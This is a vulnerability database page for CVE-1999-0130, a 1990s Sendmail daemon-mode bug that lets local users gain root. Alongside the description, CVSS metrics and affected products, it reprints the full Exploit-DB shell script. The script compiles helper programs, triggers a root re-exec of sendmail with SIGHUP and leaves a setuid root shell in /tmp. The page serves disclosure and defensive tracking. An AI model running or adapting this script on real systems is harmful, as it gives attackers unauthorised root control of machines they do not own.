CVE-1999-0130 : Detail

CVE-1999-0130

0.04%V3
Local
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
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CVE Descriptions

Local users can start Sendmail in daemon mode and gain root privileges.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19556

Publication date : 1996-11-15 23h00 +00:00
Author : Leshka Zakharoff
EDB Verified : Yes

BSD/OS 2.1,Caldera Network Desktop 1.0,Eric Allman Sendmail <= 8.8.2,FreeBSD 2.1.5/2.1.6,HP-UX <= 10.20,AIX 4.2,RedHat 4.0 Sendmail Daemon Mode Vulnerability source: https://www.securityfocus.com/bid/716/info Sendmail is often run in daemon mode so that it can "listen" for incoming mail connections on the standard SMTP networking port, usually port 25. The root user is the only user allowed to start sendmail this way, and sendmail contains code intended to enforce this restriction. Unfortunately, due to a coding error, sendmail can be invoked in daemon mode in a way that bypasses the built-in check. When the check is bypassed, any local user is able to start sendmail in daemon mode. In addition, as of version 8.7, sendmail will restart itself when it receives a SIGHUP signal. It does this restarting operation by re-executing itself using the exec(2) system call. Re-executing is done as the root user. By manipulating the sendmail environment, the user can then have sendmail execute an arbitrary program with root privileges. #!/bin/sh # # # Hi ! # This is exploit for sendmail smtpd bug # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). # This shell script does a root shell in /tmp directory. # If you have any problems with it, drop me a letter. # Have fun ! # # # ---------------------- # --------------------------------------------- # ----------------- Dedicated to my beautiful lady ------------------ # --------------------------------------------- # ---------------------- # # Leshka Zakharoff, 1996. E-mail: [email protected] # # # echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c # # echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c # # cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c ./leshka kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm leshka.c leshka smtpd.c /tmp/smtpd /tmp/sh

Products Mentioned

Configuraton 0

Caldera>>Network_desktop >> Version 1.0

    Eric_allman>>Sendmail >> Version 8.7

      Eric_allman>>Sendmail >> Version 8.8

        Eric_allman>>Sendmail >> Version 8.8.1

          Eric_allman>>Sendmail >> Version 8.8.2

            Configuraton 0

            Bsdi>>Bsd_os >> Version 2.1

            Freebsd>>Freebsd >> Version 2.1.5

            Freebsd>>Freebsd >> Version 2.1.6

            Hp>>Hp-ux >> Version 10.00

            Hp>>Hp-ux >> Version 10.01

            Hp>>Hp-ux >> Version 10.10

            Hp>>Hp-ux >> Version 10.20

            Ibm>>Aix >> Version 4.2

            Redhat>>Linux >> Version 4.0

            References

            http://www.securityfocus.com/bid/716
            Tags : vdb-entry, x_refsource_BID